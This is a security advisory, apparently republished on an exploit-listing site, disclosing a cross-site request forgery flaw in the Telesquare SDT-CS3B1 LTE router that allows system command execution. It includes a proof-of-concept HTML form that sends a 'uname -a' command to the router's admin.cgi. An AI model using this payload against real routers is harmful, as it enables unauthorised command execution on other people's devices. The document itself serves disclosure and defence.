Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution

2017.12.28
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution Vendor: Telesquare Co., Ltd. Product web page: http://www.telesquare.co.kr Affected version: FwVer: SDT-CS3B1, sw version 1.2.0 LteVer: ML300S5XEA41_090 1 0.1.0 Modem model: PM-L300S Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. Desc: The router suffers from authenticated arbitrary system command execution. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: lighttpd/1.4.20 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5443 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php 22.12.2017 -- IDOR for system command interface: ---------------------------------- GET /admin/system_command.shtml HTTP/1.1 PoC GET CSRF request: --------------------- <html> <body> <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi"> <input type="hidden" name="Command" value="sysCommand" /> <input type="hidden" name="Cmd" value="uname%20-a" /> <input type="hidden" name="T" value="8168008531337" /> <input type="submit" value="Send" /> </form> </body> </html>

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top